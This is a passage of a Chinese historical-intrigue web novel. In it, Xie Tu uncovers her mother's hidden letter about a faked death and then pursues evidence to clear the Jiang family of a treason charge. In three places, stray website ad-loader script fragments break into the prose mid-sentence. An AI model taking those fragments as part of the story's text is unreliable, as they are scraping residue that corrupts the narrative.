湘南郡主开始拆解自己脑袋上叮叮当当的步摇钗环,身边的婢女更是捧出一叠柳青色长袍。 待她在谢荼面前毫不避讳地变装完毕后,谢荼才发觉面前之人完全变了个样。 湘南郡主命人将马车上的徽记取下,绕了几圈巷口巷尾后,马车稳稳停靠在繁华路段江月酒楼后门。 湘南郡主拉着同样身为男装的谢荼下车。 “郡主,你……”谢荼只觉得面前这人有着说不出的熟悉感。 “哦,忘记自我介绍了。”湘南郡主拉着谢荼上了酒楼地字号雅间,一路解释道,“你听姜鹤说起过,他找了位邹神医徒弟替他的母亲长宁郡主治病的事情吧?” “那人就是我,我喜欢寻医问药,自幼拜师于邹神医门下,成了他的关门弟子。” “不过,在我给长宁郡主治病之前,并不知道我要接诊的病人是谁。” “所以,我也是无意中被姜鹤那小子卷入你们两家和朝廷纷争中的,他说会保我崔阳王府无恙,条件就是要我护你周全。” 谢荼愣了又愣,沉默不语,直到湘南郡主推开雅间房门,带着她走了进去。 姜鹤正安静地坐在圆桌前等着她们的到来。 谢荼将他的神色尽收眼底,心底不由自主地“咯噔”一声,不顾身边还站着湘南郡主,唇角紧抿问道: “如何?” 不等姜鹤回答,湘南郡主率先坐下,开始分享自己查到的东西: “当年供应‘龟息散’那味药材的药商并不多,顺着名单去查当年的出息很快就锁定了目标。” “沧州的那家十年前确有人指名采买,来人是个年轻姑娘,使用的也并非银裸子,而是一斛明珠。” “当时掌柜的就留了心,特意查了那一斛明珠上是否有特殊徽记,发现并没有,也并未察觉其他的蹊跷之处,所以才同意做了这桩买卖,也因此老掌柜印象很深。” “恰好我师父多年前曾有恩于老掌柜一家,听闻我在探查这件事,便知无不言言无不尽。” “喏,就是这种明珠。” 说这话,湘南郡主便从荷包中掏出两粒指甲盖大小的明珠。 谢荼接过,捏在手中仔细端详着。 母亲杜氏酷爱珍珠,家中库房里是父亲多年以前四处搜罗来供母亲赏玩的各式明珠,大大小小整整有两大箱子。 而如指甲盖般规整大小的明珠,就装满在两只妆奁中存着。 “所以我和姜鹤都觉得,当年那副龟息散,是你母亲自行配全服下。” 谢荼蓦地手掌收紧,捏地两颗明珠“咯吱”作响。 “你们是说,我母亲她当年,是自己给自己下毒?” “她和我的父亲夫妻感情和睦,儿女双全,她为什么要这么做?” 姜鹤按住她的手,嗓音轻柔:“你冷静些,咱们现在说的是可能。” “你别忘了,按照我们所设想,那位在元宵夜宴之后,便一直虎视眈眈地盯着你的母亲。” “可能你的母亲深受他的威胁,最后为了你们父子三人,才不得不谋划了金蝉脱壳这一法子。” 湘南郡主觑着两人的神情,清了清嗓子站起身子道:“那么,你们先聊着,我就先行离开了。” 季明领着她离开,关上房门,只留下谢荼和姜鹤二人。 姜鹤从袖袋中掏出一方锦帕,小心翼翼地打开递给谢荼: “这是陈全追查你母亲身边人时无意中搜寻到的东西。”< (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' /p> “原主人是你母亲院子里的一个洒扫丫头,你母亲当年得病后,你父亲曾经因为仆从服侍不力发卖出去一些人,其中就有这个丫头。” “这丫头不知为何十分幸运,几经转手后,被卖回了江南杜家。” 杜家?那不是母亲的娘家? “她在杜家遭到苛待了?为何要典当首饰?”谢荼拧眉,察觉到故事中的蹊跷处。 “这便是不对劲的地方,那丫头后来以签死契的方式留在了杜家,虽然并不是什么大丫鬟的身份,但一直不愁吃喝,不至于要典当首饰的程度。” “最重要的,这些首饰,是你母亲赠予她的,而且她分了许多家当铺典当,这三样东西仅仅是我们目前还能寻到的。” 谢荼闻言,心中不免忐忑起来。 她放下手中的明珠,抓起那碧玺簪子就观察起来。 很快,她就发现了不同寻常之处——那碧玺簪子的镶嵌手法似有蹩脚。 “这簪子一直被留在典当行没有被人买走,原因除了款式老旧不值钱之外,就是这镶嵌法子不得要领。”姜鹤解释道。 通常长簪顶端的碧玺,多用金丝攒金包围碧玺,三爪或六爪牢固固定,可这只簪子却用的方形四爪。 “四爪的底座并不牢固,款式又旧,普通人家买回去既撑不了门面,还有丢失碧玺的风险,确实不易被卖出去。”谢荼也看出了簪子不妥当的地方。 “没错,所以这簪子当年典当出去的时候,即便附赠了一对耳珰,所卖银钱也并不多。” 谢荼定了定神,下定决心后用保养如凝脂的长甲微微一挑那四爪底座,那长簪上的浅粉色碧玺便掉了下来,露出内里幽深空洞。 那洞口如同一只漆黑的眸子,定定地望着她。 她从发顶摘下一只固定发丝的银圈,不顾发丝散落面颊,轻挑银圈捋直,毫不犹豫地捅进了长簪的空洞里。 只见银丝在里面转了几圈后,谢荼神色一松,道:“有了!” 接着便屏住呼吸缓缓将一物从长簪的幽深黑洞里勾了出来。 当下,雅间内悄无声息,只剩下谢荼紧张的喘息声。 她迟疑了。 她怕这里面写着的,是她母亲杜一南故意抛夫弃子的证词。 谢荼脸颊边散落下来的碎发,将她的脸遮住了大半,可姜鹤却偏偏能感受到她情绪的波动。 “不必惧怕,最差的结果,便是你以后不必再搜寻你母亲的踪迹了。”姜鹤笑着宽慰她,“最好的结果,就是知道你母亲留下的证据,以及可能藏身之处。” 谢荼沉思片刻,灿然一笑道:“你说得对,最不济便是不再烦恼此事,这也没有什么大不了的。” 她松开紧紧攥在手心里的一只用油皮纸张包裹着的东西,细细卷开,里面是一张写满字迹的纸条。 谢荼深深吸了一口气,小心翼翼地打开那纸条,只见上面赫然密密麻麻写满了字。 “至吾儿,见字如见吾。” “查到此处实则不甚简单,吾深感宽慰,念汝安康。” 116. 猜想 十余年时间,那张信纸早已泛黄陈旧。 手掌般大小的纸张密密麻麻写满了字,字迹是娟秀花体,似乎也是侧面印证杜氏的温柔娴静。 “母,已无退路,此番涉险实非本意。牵机催吾血气枯竭,龟息令吾气尽消散,此两副药由白术经手配比,母自行服下,下葬棺木留有暗门,再由成惠之人运出藏匿。” “白术乃内院三等洒扫侍女,吾病后便遣送其出府,其留有藏此信件首饰。” “另,田庄抬棺者乃吾杜家死契家仆,其虽已身死,但其子家中留有吾亲笔书信交代始末,望他日能重见天日为吾申冤。” “母此去不知何年何月才能归家团圆,甚想,勿念。” “唤吾儿千遍,母,杜一南。” 谢荼的泪珠扑簌簌往下坠,砸在纸条末尾。 “母亲留这一手,是期盼着来日我们发现端倪后,能救她于水火。” 她哭得泣不成声,深深懊悔自己为何这么多年才发现了这些真相! 她简直不敢想象,上一世到最后,她、父亲以及哥哥谢英,至死都没有察觉母亲逝世的真相。 母亲艰难熬过十余年,等来的却是谢家满门尽死的消息,该有多痛苦! 虽然她救不了许多人,可是只要母亲活着一天,她无论如何都要把母亲从那吃人不吐骨头的红墙里解救出来。 “我一定要把母亲救出来!”谢荼紧紧攥着手心的纸条。 姜鹤点头道:“你放心,母亲的人已经得到指令,一旦得到你母亲行踪的消息,一定能想方设法递出宫墙。” “不过,到那时,谢大人那边……”他犹豫着开口。 “这次长宁郡主的生日宴上,我已同她讲明谢家的立场。” 谢荼一张明艳动人的脸上出现了从未有过的决绝神色。 “什么忠贞什么为国,什么世家什么寒门,统统都和我无关。” “我只要谢家安虞,我母亲能够平安归家!” 姜鹤一双黑眸静静地盯着她看,表情也异常坚定,脑袋微不可觉地点了点头。 ———————— 谢荼心事重重地回了府,静候姜家带来宫内外的确切消息。 没过几日,姜鹤递来消息,说是已经拿到了当年抬棺木仆从家中的亲笔书信,证实了他们的猜想——杜氏是被成惠帝逼迫,无奈之下才实施的假死。 万事俱备,只差母亲杜一南在宫内的下落消息,意外却发生了。 这日,一骑士兵纵马疾驰进入京城,报的是边关大胜的消息。 皇帝欣喜万分,赏定远将军府黄金万两,赐长宁郡主封地一座。 可不到晌午,京城却传出不和谐的流言。 姜家驻守边关十余年,一开始胜败皆有,近年来却频频打胜仗,但缴获的俘虏金银并不多,并没有有效打击屡犯我边境的大月。 于是便有人妄言,姜家是同外敌大月达成了共赢的协议。 姜家只打胜仗,却赶不走一直骚扰我大梁边境的大月;而大月虽连吃败仗,损失金银俘虏,却能买到我大梁的精锐兵器! 这一番通敌叛国的流言一出,皇帝震怒,当众便摔了边关的请功折子要求严查。 等谢荼知道此事时,姜鹄已被人押入刑部大牢,姜鹤则与长宁郡主一起被幽禁在定远将军府中不得出入。 “他还是下手了!”谢荼恨恨地一拍桌面,力道之大震翻了面前的茶盏,“通敌叛国是何等的大罪!” 她的双眼通红,额角青筋忍不住地直跳,整个人像是一只暴怒中的野兽,想要寻找一个机会撕咬敌人,却发现被圈在笼子里哪里也出不去。 “姑娘,老爷回来了!” 一直在二门处等着谢愉恩回府动静的典心匆匆进门禀告,一眼便看见她的状态,惊讶之余看向了守在一旁的吟心。 吟心冲她摇了摇头,同样是满眼的担心。 “姑娘,可还要去老爷的书房?”典心小心开口道。 “去,父亲在朝中人脉众多,我必须得多知道些内幕,才好想办法救姜家。” 谢荼来不及换身衣裳,匆匆带着两位婢女赶到谢愉恩的水榭。 不承想,谢英也在水榭书房之中打听消息。 “妹妹也来了,想必也是为了姜家通敌叛国一事吧?” 谢英冲谢荼点了点头,算是打了招呼,而后又转过头去继续和父亲说话。 “定远将军此人忠君爱国,刚正不阿,若说他通敌叛国、贩卖军饷,那绝对是不可能的!这一定是有人故意要栽赃陷害,父亲,你可知道是谁指认姜家?” 谢愉恩刚同幕僚商议事情结束,已是满身的疲惫。 他看见一双儿女出现在书房,心里早就知道是为何而来,便也毫不含糊道: “此事皆由街头黄口小儿口口相传的童谣所引起,陛下心生怒意,命人去调查源头,才引发了后续一系列的事情。” “定远将军有一位名为杨真的部将,去年年末因腿伤无法再战,被送回京城,月前,他酒后曾在花楼中吐露,边关军功多有黑幕。” “按照胜仗的等级,定远将军父子在边关,以大梁国名义同大月国建立长期合作,以兵器为价换取俘虏和金银,再报送朝廷请功受赏。” “这件事被有心之人从花楼中传播出来,被黄口小儿传唱成了人人相传的歌谣。” “这……简直是荒谬!”谢英怒极,“定远将军骁勇善战,麾下将士们也都是百年难得的将帅之才,何必做这种沽名钓誉的荒唐事。” “这一旦被人揭发,就是万劫不复的深渊!他们又何必做下此等冒险之事!” 谢荼的脑筋却动得更快,她打断谢英的义愤填膺: “这种荒谬的言论看似可笑,可姜鹄的的确确被下了大牢,而姜鹤和长宁郡主也都被幽禁在定远将军府中半步不得离开,这只能说明,那个叫杨真的手中留有证据。” 谢愉恩赞许地看了看自己的女儿,继续言道:“不错,事情虽然荒谬,可姜家不问便被捉拿,定是有铁一般的证据。” “陛下不会因为黄口小儿的歌谣而震怒,怒的是因为杨真把这件事说得有鼻子有眼的,因此就派了刑部之人去彻查此事。” 上一世,姜家通敌叛国的罪名很快就被定了下来 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 。 定远将军甚至还没来得及回京为自己辩解一二,就被一纸诏书夺了兵权,押回京城问罪。 长宁郡主为夫君和长子奔走许久未果之后,也曾沉寂了一阵子,之后便是自尽以求保全次子。 其中,一定是有什么被自己忽略掉的细节。 是什么呢? 谢荼突然恨自己上一世不关心朝局,体会到了书到用时方恨少的苦楚。 见一双儿女面露僵色,谢愉恩这才开口道: “听说,杨真手中有一本账册,记录了这些年定远将军父子同大月的交易。” 他的声音如一声惊雷炸响。 “不可能,这种事情,就算是真的,定远将军又怎会把账册遗留到外姓之人手中。” “那杨真既不是姜家的府兵,也不是定远将军的心腹,他怎么可能拿到那账册?” 谢英嚷嚷着不可能,可谢荼却忽然福至心灵般想通了其中的关窍: “说明那账册是别人授意他记录的!” 谢愉恩再一次赞许地看向了女儿谢荼。 见谢英一脸不解,谢荼捉住自己那一闪而过的念头,开始分析了起来。 “我们已经知道,陛下这些年一直颇为忌惮拥有兵权的姜家,觉得他们功高震主,却又不得不依赖姜家驻守边关、保家卫国的能力,让他自己做个安稳皇帝。” “不是,陛下什么时候忌惮姜家了?长宁郡主可还是姜家的主母呢!”谢英插嘴道。 谢荼没有理睬他,继续说道: “可多年边关战乱,劳民伤财,这也是为什么我们大梁国虽然国富民安,国库却并不丰盈的原因。” “嗯,不错,继续说下去。”谢愉恩点了点头,他第一次发现女儿竟然有着这样不容小觑的清醒的朝局头脑。 “所以,定远将军其实的确是有贩卖军饷的举动。”谢荼继续道。 “什么?真有此事?”谢英张大了嘴巴吃惊不已。 “但是。”谢荼突然话锋一转,“这件事是陛下授意的。” “陛下授意的?”谢英读书虽然厉害,可是遇到这种弯弯绕的局势,还是转不过弯来,“什么意思啊?” “在陛下的授意下,定远将军贩卖的是军中淘汰的或者是品次极低的兵器,于战事毫无影响。” “大月是部落国家,天生争强好胜,除了同大梁交手外,他们还会同其他接壤小国发生战争。” “所以,在他们屡屡挑衅却多半以失败告终后,定远将军便在陛下的授意下,同大月做了笔交易,将军中淘汰的或者是品次极低的兵器贩卖给他们。” “回款可能用于边关的军队开支或者其他,但是大月却不能再侵犯大梁国土。” “这些年大月内部虽然有些领军部族不服气,偶尔有小打小闹,可都被定远将军镇压,没有讨到一点便宜,久而久之,就成了一桩边关特殊的交易。” “不知当年陛下如何劝说得动定远将军答应此事,可到如今,这桩特殊的交易,却成了陛下的手中利剑,刺向了定远将军父子!” “那账册可不就是多年前就埋下的引线!” 117. 主意 谢荼的猜想虽然过于惊悚可怖,但确实是目前为止最合适的解释。 这下,就连谢愉恩都忍不住变了脸色:“若当真如此,陛下可真是‘良苦用心啊’!” “父亲,账册只怕已经递交到刑部之人的手中。”谢荼知道,眼下不是感叹的时候,“只要陛下一声令下,姜家这通敌叛国的罪名,可就是如同板上钉钉,再也无法更改了!” “话虽如此,我们又能如何呢?”谢英也跟着皱起了眉头,“想要改变陛下的想法,并非一件容易的事情,总不至于派人去刑部劫来账册吧?可谁又知道有没有誊抄备份的版本。” 他说着叹了一口气道:“难啊!” 谢荼心中也乱如麻线,只能揪着那一束光亮帮着自己梳理思路。 长宁郡主和姜家大公子早就被自己示警,军中的定远将军本人也应该得到了家中的消息,所以姜家不会坐以待毙,一定还有解决危机的法子。 “杨真不会是陛下直接授意人,他们之间肯定还有一个中间人。” 她的脑子飞速地运转着。 成惠帝心思缜密,却对门户等级非常看重,所以,身为百户长的杨真必然不会是直接面对他汇报的人。 那么在定远将军带队的军队中,又有谁会是成惠帝的心腹呢? —————— 定远将军府内,被禁足的姜鹤干脆以照顾病弱母亲的名义,搬着被褥住进了荣恩院。 长宁郡主久跪于佛像跟前,闭着眼睛诵经祈福,自始至终都没有管过姜鹤的一举一动。 反倒是姜鹤沉不住气,率先开口问她:“母亲,您就不担心兄长在大牢里的境遇吗?” 此等凶险之事,虽然他们早有预料,可是姜鹄是实实在在被关押在天牢之中,等待着他的也将是残酷无情的审问。 母亲未免太冷静了些。 “我担心难道就能免去他的那一顿毒打吗?”长宁郡主眼皮子都没掀一下,手中捻着佛珠串没有一丝停顿。 姜鹤难得被噎住,嘴上虽然没有再说什么,可扶着桌面的手指一下下地敲着,暴露了自己仍旧紧张的心情。 “已经安排了荣国公家的那个霍启去办事,你急也没用。”长宁郡主道,“若非如此,我们也不能把他架上去。” 她说的是成惠帝下旨彻查姜家通敌叛国之事。 在谢荼首次示警,成惠帝可能会对秘密召回的姜鹄使绊子之时,长宁郡主便想到了这么一天。 所以在借着姜鹄、姜鹤到了谈婚论嫁年纪的机会,给定远将军传的书信中夹了一纸密文,夫妻俩共同决定冒险暴露此次危机。 目的便是让天下之人看清成惠帝的真实面目。 “我担心谢家会被卷进这件事里来。” 姜鹤连着几日都没有睡好,梦中总是看见谢荼那座孤零零的坟头。 “正因为怕伤及无辜,我们才没有告诉谢荼,免得在陛下那儿暴露。”长宁郡主宽慰他,“有湘南郡主看着,想必不会出任何差错。” 姜鹤愣愣地看着手掌心,极力压制住内心想见她的冲动:“但愿她不要强硬出头,为姜家奔波。” ———————— 一辆毫不起眼的青顶马车自京城大门疾驰而出。 车上坐着的,正是姜鹤心心念念的谢荼,陪着她一起的,还有揉着惺忪睡眼的湘南郡主。 “你要带我去哪儿?”湘南郡主伸了个懒腰。 原先她并不想知道目的地,她觉得,跟姜鹤和谢荼二人打交道,知道得越少越安全。 说来也是倒霉,她只偷偷溜出王府,就被谢荼拦住带走了,马车疾驰一夜,她还没有正经合过眼,浑身被颠得快要散架,实在是忍不住好奇才开口问。 “雁当关。”谢荼一张素净的小脸儿被遮掩在细纱面罩之下,看不清她的真实表情,只语气淡淡地回答道。 “雁当关?”湘南郡主倒吸一口凉气,“那可是边关!你一个京城里足不出户的大家闺秀,去那儿干什么!” “找人,找证据。”谢荼依旧语气冷静。 “找谁?找什么证据?”湘南郡主怕极了,“你把我带着做什么?我可不造反啊!” 最近姜家莫名被安上通敌叛国的罪名,朝中人心惶惶。 崔阳王夫妇俩在家连日烧高香,庆幸长宁郡主手脚慢,没有向崔阳王府求亲,这才免得崔阳王府被连累。 她身为姜鹤身边得用之人,自然比旁人更敏锐一些。 “我告诉你啊,姜家一定是被陷害的,但是你偷跑着去给定远将军报信,试图怂恿他造反救人,这可是大逆不道之事,是诛九族的大罪,你可千万别冲动!” 湘南郡主抖着嗓子劝道。 谢荼冷笑一声:“带着你自然是有用,但不是造反。” “这种掉脑袋的事情,傻子都不会做,姜家怎么可能会去做,‘通敌叛国’当然是诬陷,我就是要去找证据。” 湘南郡主在内心哀嚎一声,勉力扯着嘴角笑了笑:“那就好,那就好。” “那你可知道往哪儿找人?” “跟着霍启就能知道。”谢荼扬了扬下巴,掀开车帘,看向远处。 昨晚入夜时分,吟心哥哥来报,说是荣国公家的霍启出城了。 谢荼当即就觉得,这个霍启就是姜鹤所设的那张底牌。 于是,她留下一封书信给谢愉恩,把典心留在府中探听消息,自己则带着吟心兄妹俩,抓上在外浪荡的湘南郡主,直奔霍启而去。 以长宁郡主的性子,她绝对不是坐以待毙的人。 上一世那样一副必死无疑死局的棋,她愣是能把姜鹤完完全全摘出来保住性命,那么这一世,她有了准备,一定会留下什么后手。 姜鹤此前就向她透露过,他同荣国公的霍启交好,或许,霍启就是姜家最后的希望。 “到了驿站就换马骑。”谢荼拧着秀眉叮嘱吟心,“要趁着霍启到达雁荡关之前,把他截住。” 既然长宁郡主要借此闹大,不妨再闹得大一些。 谢荼几人换了快马一路疾驰飞追,好不容易才在雁荡关的前一站,追上了独自出行的霍启。 未避免他人注意,谢荼几人是扮作行商人的身份,同霍启拼桌而坐。 “这位小哥,一个人 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 吗?”谢荼冲着霍启亮了亮袖中姜鹤的竹筒徽记。 可惜独自行动的霍启警惕性很高,根本未曾抬头看,也不想搭理她。 谢荼扶额,借着倒茶的机会,把茶水泼了满桌:“哎呀不好意思啊小哥。” 她一边用袖口擦着,一边继续亮着徽记。 但是霍启只是把自己的茶碗挪了挪,偏过身子去继续不理睬她。 湘南郡主在一旁也是无奈极了,直接伸出右脚猛踹了霍启。 霍启怒目而视,刚要准备兴师问罪,就被徽记晃了眼,要说的话卡在喉咙中剧烈地咳嗽了起来。 谢荼借机给他倒茶拍背,靠近低声道:“霍公子,我是谢荼。” 霍启震惊,努力克制自己瞪大的双眼,也同样低声道:“谢姑娘,你怎么在这儿?” 表面上,俩人大声地寒暄了起来:“无妨无妨,都是小事。” “实在是对不住,不如这顿饭我们请公子吧!” 谢荼低声回道:“我是来助公子一臂之力的。” 霍启依旧瞪大了双眼,姜鹤没和他说还有这么一茬啊! 好不容易等到天黑,湘南郡主给驿站众人下了迷药,全部安然入睡后,两人才翻窗得以在黑灯瞎火中见面。 “霍公子,长话短说,我知道姜家委托你到边关来带人证物证的,可是,你们有没有想过,既然对方想要置姜家于死地,必然不会留着那些人证物证。” 霍启是个聪明的,他知道面对谢荼,不该瞒着姜家的谋划,便一五一十地答道: “确实如此,昨日我已经得到消息,那人已死,手中的证据也被人搜罗拿走。” “那霍公子打算如何做?”谢荼追问。 “只要证明此桩交易的双方,是大梁和大月,便可证明定远将军父子在此事中,只是尊崇朝廷的安排。”霍启知无不言言无不尽。 谢荼若有所思:“可是人证物证皆无,霍公子要如何证明?” “大月方留有陛下的亲笔书信。” 霍启打算从根源上解决。 谢荼却摇了摇头:“他不会认的,只会说这是姜家有意伪造,罪加一等。” 霍启犯了难,姜鹤让他把完整账册带回,可如今账册遗失,证人已死。 “那怎么办?”霍启干脆问谢荼有什么好办法。 “大月多年来内乱纷争不断,外又不停地同时和几个接壤国家打仗,从来不休整。” “再加上某些将领和大梁的特殊交易,大月的部队一直是被大梁的次品兵器养着,他们的战力和我们的战力早就不在一个层面上。” “不如,趁着他们再来捣乱的机会,出兵直捣黄龙,歼灭大月部族,彻底解决这个隐患。” 谢荼上一世最后听到的消息,是姜家部族被郑氏接手,重整后,以奇袭的方式打了大月一个措手不及,彻底击败了大月。 她琢磨着,或许,这个军功可以是定远将军和姜家的。 那么到时候,这个“买卖军饷”的交易,是不是可以算作是姜家的计谋? 反正那账册上,一笔笔记载的,都是姜家促成的交易。